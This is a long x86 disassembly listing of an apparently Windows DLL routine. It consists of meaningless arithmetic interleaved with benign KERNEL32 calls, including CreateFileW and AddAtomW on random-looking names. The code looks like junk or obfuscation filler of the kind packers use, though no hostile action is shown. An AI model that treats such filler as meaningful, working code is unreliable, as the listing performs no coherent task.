mov ecx, dword [ebp - 0x3c90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4918], eax
mov edx, dword [ebp - 0x3aa0]
mov eax, dword [edx]
mov dword [ebp - 0x491c], eax
lea ecx, [ebp - 0x2d8]
mov dword [0x100bb16c], ecx
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
movzx ecx, word [0x100b7328]
or eax, ecx
mov edx, dword [ebp - 0x421c]
mov word [edx], ax
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x4920], eax
mov ecx, dword [ebp - 0x3c88]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3538]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100b998c]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1294]
movzx edx, word [ebp - 0x11a8]
add ecx, edx
mov eax, dword [ebp - 0x33b8]
mov word [eax], cx
mov ecx, dword [0x100bb0f4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2d7c]
mov dword [ebp - 0x3ea0], edx
push 0x100ba12c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x3c90]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [0x100bb170], 0x100b7398
lea ecx, [ebp - 0x28a]
mov dword [ebp - 0x4924], ecx
movsx edx, word [ebp - 0x970]
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x6e4], dx
push 0
push 0x10
push 2
push 0
push 4
push 0x80000000
push str.yxDtthYw2jYBiwStY0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb174], eax
mov edx, dword [ebp - 0x4768]
movsx eax, byte [edx]
movsx ecx, byte [0x100b713e]
sar eax, cl
mov ecx, dword [0x100ba034]
mov byte [ecx], al
mov edx, dword [ebp - 0x4900]
movzx eax, word [edx]
mov ecx, dword [0x100b9bb8]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4860]
mov word [ecx], ax
mov edx, dword [ebp - 0x3994]
mov eax, dword [0x100b736c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x3340], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4928], eax
push 0x100b9c94
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4720]
mov edx, dword [ecx]
mov dword [0x100bb178], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3764], eax
mov eax, dword [ebp - 0x3618]
mov cl, byte [eax]
mov byte [ebp - 0x2f3], cl
mov edx, dword [ebp - 0x3d04]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2c1]
or eax, ecx
mov edx, dword [ebp - 0x3dd4]
mov byte [edx], al
mov eax, dword [ebp - 0x3cd0]
movsx ecx, word [eax]
movsx edx, word [0x100b73cc]
add ecx, edx
mov word [0x100b7360], cx
mov dword [ebp - 0x492c], 0x100b7328
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb17c], eax
mov eax, dword [ebp - 0x4648]
mov ecx, dword [0x100badbc]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x39e8]
mov dword [eax], edx
lea ecx, [ebp - 0x2eb]
mov dword [0x100bb180], ecx
mov edx, dword [ebp - 0x4854]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x46b8]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x4a], al
mov eax, dword [ebp - 0x3d60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x43a8]
shr edx, cl
mov eax, dword [ebp - 0x346c]
mov dword [eax], edx
push 0
push 0x200
push 2
push 0
push 4
push 0xc0000000
push str.EiO4QEtdqkYjVI5QnAZHstX5UK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4930], eax
movzx ecx, word [ebp - 0xab4]
mov edx, dword [ebp - 0x46a8]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100ba044], cx
mov ecx, dword [ebp - 0x4274]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3a34]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1054], dx
push str.RD2.FGYovCfZzwI_XMBR78GK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb184], ax
mov ecx, dword [0x100b99e0]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp - 0x37cc]
mov dword [ebp - 0x4934], edx
mov eax, dword [ebp - 0x47b0]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb188], eax
mov ecx, dword [0x100b98b8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4698]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b72aa], dl
movzx edx, byte [0x100b729e]
mov eax, dword [ebp - 0x4340]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x48b0]
mov byte [eax], dl
movzx ecx, word [ebp - 0x5a8]
mov edx, dword [ebp - 0x4170]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x3670]
mov word [edx], cx
lea eax, [ebp - 0xb2b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [ebp - 0xfa4]
movzx edx, word [ebp - 0x84c]
imul ecx, edx
mov eax, dword [0x100b9e4c]
mov word [eax], cx
mov ecx, dword [0x100ba2b0]
mov dword [ebp - 0x4938], ecx
mov edx, dword [ebp - 0x3f0c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x528]
xor eax, ecx
mov word [ebp - 0x6ac], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x493c], eax
mov edx, dword [0x100b736c]
mov dword [0x100bb18c], edx
mov eax, dword [0x100ba03c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x27a]
mov dword [ebp - 0x4940], ecx
mov edx, dword [ebp - 0x3974]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x38c0]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b72ab], al
movzx edx, word [ebp - 0x10d4]
mov eax, dword [ebp - 0x3cc0]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x594], dx
lea edx, [ebp - 0x40a8]
mov dword [ebp - 0x4944], edx
mov eax, dword [ebp - 0x48e4]
add eax, dword [ebp - 0x30c0]
mov dword [0x100b738c], eax
push 0x100bb190
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, word [0x100b9f50]
mov edx, dword [0x100ba870]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0xe7c], cx
movsx ecx, byte [ebp - 0x269]
mov edx, dword [ebp - 0x3f9c]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1b3], cl
mov ecx, dword [ebp - 0x3c30]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x41a8]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b72b2], dl
mov ecx, dword [ebp - 0x44ac]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x42f0]
movsx ecx, byte [eax]
imul edx, ecx
mov eax, dword [ebp - 0x3490]
mov byte [eax], dl
mov ecx, dword [ebp - 0x40f8]
mov edx, dword [ecx]
mov dword [ebp - 0x4948], edx
mov eax, dword [ebp - 0x4098]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.Om_NvILf_Gbdy_M
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1680], ax
movzx eax, word [ebp - 0x1598]
movzx ecx, word [ebp - 0x12c4]
cdq
idiv ecx
mov word [0x100b71f4], ax
mov edx, dword [0x100b9a18]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x46c8], eax
lea eax, [ebp - 0x5c4]
mov dword [ebp - 0x494c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb1b4], eax
mov ecx, dword [0x100bae44]
mov edx, dword [ecx]
or edx, dword [0x100b73e0]
mov eax, dword [ebp - 0x3c18]
mov dword [eax], edx
movzx edx, byte [ebp - 0x2d4]
movzx ecx, byte [ebp - 0x4d]
sar edx, cl
mov eax, dword [0x100bafa4]
mov byte [eax], dl
mov dword [ebp - 0x4950], 0x100b7fd2
mov ecx, dword [0x100b975c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x33b4]
mov eax, dword [ebp - 0x4804]
mov dword [eax], edx
movzx ecx, word [0x100ba390]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x14a4], ax
mov edx, dword [0x100b9688]
mov ax, word [edx]
mov word [0x100bb1b8], ax
mov ecx, dword [ebp - 0x432c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x608]
and edx, eax
mov ecx, dword [ebp - 0x3e18]
mov word [ecx], dx
mov edx, dword [ebp - 0x3b3c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x13c0]
imul eax, ecx
mov word [ebp - 0x9f4], ax
push 0x100ba1dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4954], eax
mov dword [0x100bb1bc], 0x100b7f2a
push 0x100bb1c0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4894], eax
push 0
push 0x20
push 2
push 0
push 8
push 0xc0000000
push str.4tjgzP23i08sZKks3EdWkKAr2CNHskr1CcEhV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb1d8], eax
mov edx, dword [ebp - 0x4220]
mov eax, dword [0x100bae44]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x37ec], edx
lea eax, [ebp - 0x2a6c]
mov dword [ebp - 0x4958], eax
mov ecx, dword [0x100ba198]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2a5]
xor edx, eax
mov byte [0x100b721a], dl
lea ecx, [ebp - 0x1178]
mov dword [ebp - 0x495c], ecx
mov edx, dword [0x100b99ac]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x47e0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1214], ax
movsx eax, byte [ebp - 0x2da]
mov ecx, dword [ebp - 0x403c]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b9ff8]
mov byte [edx], al
movzx eax, byte [ebp - 3]
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3618]
mov byte [ecx], al
lea edx, [ebp - 0x3db4]
mov dword [ebp - 0x4960], edx
mov eax, dword [0x100b7278]
mov dword [0x100bb1dc], eax
mov ecx, dword [0x100b9b5c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c88]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xbc], dl
mov dx, word [ebp - 0xf9c]
mov word [ebp - 0x1684], dx
mov eax, dword [ebp - 0x3af8]
movsx ecx, word [eax]
movsx edx, word [0x100b726c]
xor ecx, edx
mov word [0x100b73f4], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4964], eax
mov eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x48c8]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x205], cl
movzx ecx, word [0x100bafb0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12b4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4968], eax
mov edx, dword [0x100ba868]
mov eax, dword [0x100b9644]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x47f4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x69c]
mov eax, dword [ebp - 0x3670]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100ba37c]
mov word [eax], dx
movzx ecx, word [0x100baa00]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb1e0], ax
mov edx, dword [ebp - 0x4770]
mov eax, dword [edx]
mov dword [ebp - 0x496c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4970], eax
movsx edx, byte [0x100b8092]
movsx ecx, byte [ebp - 0x23e]
sar edx, cl
mov byte [ebp - 0x144], dl
movsx eax, word [ebp - 0x1588]
movsx ecx, word [ebp - 0x1474]
and eax, ecx
mov word [0x100b72ec], ax
mov edx, dword [0x100ba758]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x155]
or eax, ecx
mov edx, dword [ebp - 0x45d8]
mov byte [edx], al
mov eax, dword [ebp - 0x3c8c]
xor eax, dword [ebp - 0x33b4]
mov dword [ebp - 0x2fa8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baa44], eax
lea ecx, [ebp - 0x2cb]
mov dword [0x100bb1e4], ecx
lea edx, [ebp - 0x9e68]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [0x100b7228]
mov ecx, dword [ebp - 0x3e84]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x35fc]
mov word [ecx], ax
mov dword [ebp - 0x4974], 0x100b99e8
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3864], eax
mov edx, dword [ebp - 0x3e74]
mov eax, dword [ebp - 0x2ef4]
add eax, dword [edx]
mov ecx, dword [0x100ba708]
mov dword [ecx], eax
push str.I_78x0Qg_FNV
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb1e8], ax
mov dword [ebp - 0x4978], 0x100b72ec
movzx edx, byte [ebp - 0x41]
movzx ecx, byte [ebp - 0x273]
shl edx, cl
mov eax, dword [ebp - 0x39e0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2f40]
mov dword [0x100bb1ec], ecx
mov edx, dword [ebp - 0x381c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x272]
and eax, ecx
mov edx, dword [ebp - 0x40c0]
mov byte [edx], al
movzx eax, word [ebp - 0x1598]
movzx ecx, word [0x100b721c]
sar eax, cl
mov word [ebp - 0xd50], ax
movzx ecx, word [0x100b98f8]
mov edx, dword [ebp - 0x4368]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100b73f8], cx
movsx ecx, byte [ebp - 0x2e2]
movsx edx, byte [ebp - 0x181]
add ecx, edx
mov byte [ebp - 0x27d], cl
push 0
push 0x20
push 1
push 0
push 1
push 0xc0000000
push str.XP8E6hos5GgXQrH
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x497c], eax
push 0x3ad
push 0
push 0x100ba7f8
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb1f0], eax
mov eax, dword [ebp - 0x3654]
or eax, dword [ebp - 0x326c]
mov dword [0x100b9ed8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4980], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb1f4], eax
mov ecx, dword [0x100ba788]
mov dx, word [ecx]
mov word [ebp - 0x1688], dx
movzx eax, byte [ebp - 0x1b0]
movzx ecx, byte [ebp - 0x2b7]
and eax, ecx
mov edx, dword [ebp - 0x482c]
mov byte [edx], al
mov eax, dword [0x100ba520]
mov ecx, dword [eax]
mov dword [0x100bb1f8], ecx
lea edx, [ebp - 0x1478]
mov dword [ebp - 0x4984], edx
movzx eax, word [ebp - 0x1590]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bad3c], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4988], eax
mov dword [ebp - 0x498c], 0x100bb020
movsx ecx, word [ebp - 0x1550]
mov edx, dword [ebp - 0x3b40]
movsx eax, word [edx]
sub ecx, eax
mov word [0x100b7378], cx
mov ecx, dword [0x100b9ea8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3e04]
shl edx, cl
mov dword [ebp - 0x36b8], edx
movzx eax, word [ebp - 0x134c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba9a4], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4990], eax
lea ecx, [ebp - 0x2cf]
mov dword [ebp - 0x4994], ecx
movsx edx, byte [ebp - 0x77]
mov eax, dword [0x100bab74]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b821a], dl
movsx ecx, byte [ebp - 0x280]
mov edx, dword [ebp - 0x431c]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x26e], cl
mov ecx, dword [ebp - 0x3f54]
mov edx, dword [ebp - 0x2c04]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3a8c]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb1fc], eax
lea ecx, [ebp - 0x5f]
mov dword [0x100bb200], ecx
lea edx, [ebp - 0x1588]
mov dword [ebp - 0x4998], edx
mov eax, dword [ebp - 0x33ec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3bc0]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x11dc], cx
mov ecx, dword [ebp - 0x3b9c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp - 0x4898]
mov eax, dword [ebp - 0x4158]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov dword [0x100b7264], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb204], eax
mov dword [ebp - 0x499c], 0x100b7166
push str.Wtknd.I3Q1B53nh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x168c], ax
push 0x11b1
push 0x587
push 0x938
push 0x35b3
mov edx, dword [0x100bad6c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba35c], eax
mov dword [ebp - 0x49a0], 0x100b730c
movzx eax, byte [ebp - 0x28d]
movzx ecx, byte [ebp - 0x2f3]
or eax, ecx
mov byte [0x100b72b3], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4800], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb208], eax
mov edx, dword [ebp - 0x48d0]
movzx eax, word [edx]
mov ecx, dword [0x100b9db8]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x504], ax
movsx eax, word [ebp - 0x125c]
mov ecx, dword [ebp - 0x3b84]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x584], ax
mov edx, dword [ebp - 0x3c40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x287]
sar eax, cl
mov ecx, dword [0x100bac40]
mov byte [ecx], al
lea edx, [ebp - 0x1324]
mov dword [ebp - 0x49a4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x49a8], eax
mov eax, dword [ebp - 0x41a0]
mov ecx, dword [ebp - 0x2ee0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4300]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4944]
mov ecx, dword [eax]
mov dword [0x100bb20c], ecx
mov edx, dword [ebp - 0x3d2c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x42d4]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x1e1], al
mov eax, dword [ebp - 0x4274]
movsx ecx, word [eax]
imul edx, ecx, 0x623
mov word [ebp - 0x1340], dx
mov eax, dword [0x100ba264]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7dfe]
xor ecx, edx
mov eax, dword [0x100baf0c]
mov byte [eax], cl
mov cx, word [ebp - 0x8e4]
mov word [ebp - 0x1690], cx
mov edx, dword [0x100b7358]
add edx, dword [ebp - 0x4314]
mov dword [ebp - 0x3048], edx
lea eax, [ebp - 0x9bf8]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, word [0x100ba2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x13a8], ax
push str.CS_u6_GufRzKs_D2Q6D
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb210], ax
mov edx, dword [0x100b9a18]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4774]
mov dword [0x100b73fc], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x49ac], eax
movzx edx, byte [ebp - 0x2e1]
mov eax, dword [ebp - 0x3a84]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x37e8]
mov byte [eax], dl
mov dword [ebp - 0x49b0], 0x100b7f26
mov ecx, dword [ebp - 0x42ac]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4274]
movsx ecx, word [eax]
shl edx, cl
mov word [0x100bad48], dx
movzx edx, word [ebp - 0xe6c]
mov eax, dword [ebp - 0x46fc]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4984]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb214], eax
mov edx, dword [0x100ba764]
mov eax, dword [edx]
and eax, dword [ebp - 0x2b58]
mov dword [ebp - 0x3dc4], eax
mov ecx, dword [ebp - 0x37b8]
mov dl, byte [ecx]
mov byte [0x100b8303], dl
mov dword [ebp - 0x49b4], 0x41b9
mov al, byte [0x100b823e]
mov byte [ebp - 0x2f4], al
lea ecx, [ebp - 0x2f90]
mov dword [ebp - 0x49b8], ecx
mov edx, dword [ebp - 0x44e4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8d0]
xor eax, ecx
mov word [0x100bae84], ax
movsx edx, word [ebp - 0x5c4]
mov eax, dword [ebp - 0x3ea4]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x47e0]
mov word [eax], dx
mov ecx, dword [ebp - 0x3b4c]
mov dword [ebp - 0x49bc], ecx
lea edx, [ebp - 0x9f10]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [ebp - 0x2e4]
movsx ecx, byte [ebp - 0x1be]
and eax, ecx
mov byte [0x100b72be], al
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x37e8]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3cfc]
mov byte [edx], al
movzx eax, word [0x100ba044]
mov ecx, dword [ebp - 0x4618]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xb0c], ax
mov edx, dword [0x100b9d90]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x36f0]
movzx edx, word [ecx]
or eax, edx
mov word [0x100ba990], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x49c0], eax
push 0
lea eax, [ebp - 0x9894]
push eax
mov ecx, dword [0x100bb21c]
push ecx
mov edx, dword [0x100bb218]
push edx
mov eax, dword [0x100b9720]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x49c4], eax
lea ecx, [ebp - 0x3730]
mov dword [ebp - 0x49c8], ecx
movsx edx, word [0x100baec0]
movsx eax, word [ebp - 0x14d0]
xor edx, eax
mov word [ebp - 0xed0], dx
mov ecx, dword [ebp - 0x3628]
mov edx, dword [ebp - 0x2fa8]
add edx, dword [ecx]
mov dword [0x100b7400], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba578], eax
push 0
push 0x200
push 4
push 0
push 8
push 0xc0000000
push str.EZ_t3X0F_tFG9aoSorc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb220], eax
mov eax, dword [ebp - 0x4768]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x41b8]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x3f88]
mov byte [edx], cl
movzx eax, byte [0x100b7efb]
mov ecx, dword [ebp - 0x3c1c]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b9be4]
mov byte [edx], al
movzx eax, word [ebp - 0x15b4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba688], ax
lea ecx, [ebp - 0x9f88]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, word [ebp - 0x12a4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb224], ax
mov ax, word [ebp - 0x15b0]
mov word [ebp - 0x1694], ax
push 2
push 0x100badc0
mov ecx, dword [ebp - 0x98a0]
push ecx
mov edx, dword [ebp - 0x98a4]
push edx
mov eax, dword [0x100bb100]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x49cc], eax
mov ecx, dword [ebp - 0x4074]
mov eax, dword [ebp - 0x4530]
cdq
idiv dword [ecx]
mov dword [ebp - 0x3748], eax
mov dword [0x100bb228], 0x100b727c
mov edx, dword [ebp - 0x4884]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3ae4]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x14e4], ax
movsx eax, byte [ebp - 0x60]
mov ecx, dword [ebp - 0x39b0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x25c], al
mov edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x29e]
or eax, ecx
mov byte [0x100b7fd3], al
push str.IoLKD
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb22c], ax
lea edx, [ebp - 0x9fa0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x2da
push 0x2b5d
push 0x3a3c
push 1
mov eax, dword [0x100babe4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x37d8], eax
movsx ecx, byte [ebp - 0x229]
mov edx, dword [0x100babc4]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x4698]
mov byte [edx], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb230], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3cec], eax
mov dword [ebp - 0x49d0], 0x100b7324
movzx eax, word [0x100b9ee0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1698], ax
push 0
push 0x100
push 3
push 0
push 2
push 0xc0000000
push str.2RFcL253TB7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb234], eax
lea ecx, [ebp - 0xb2d8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100b9c3c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x34cc]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x15c8]
mov dword [0x100bb238], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x49d4], eax
mov cx, word [ebp - 0x1374]
mov word [ebp - 0x169c], cx
mov edx, dword [ebp - 0x364c]
mov eax, dword [ebp - 0x4844]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4330]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4518]
mov al, byte [edx]
mov byte [0x100b8342], al
push str.TkNo_SqJRY1o_Tkhlow_N
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb23c], ax
lea ecx, [ebp - 0x2a2]
mov dword [ebp - 0x49d8], ecx
movzx edx, word [ebp - 0x13e4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb240], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x49dc], eax
mov eax, dword [ebp - 0x3f00]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2b48]
mov dword [ebp - 0x4118], ecx
movzx edx, word [ebp - 0xbdc]
movzx ecx, word [ebp - 0x1100]
sar edx, cl
mov eax, dword [0x100b9db8]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba5e8], eax
mov dword [ebp - 0x49e0], 0x100bab7c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb244], eax
movzx eax, word [0x100b73d4]
mov ecx, dword [ebp - 0x3428]
movzx ecx, word [ecx]
cdq
idiv ecx
mov edx, dword [ebp - 0x3e6c]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x434c], eax
lea eax, [ebp - 0x2d0]
mov dword [0x100bb248], eax
mov ecx, dword [0x100bb12c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3730]
mov eax, dword [ebp - 0x3b24]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba4e4], eax
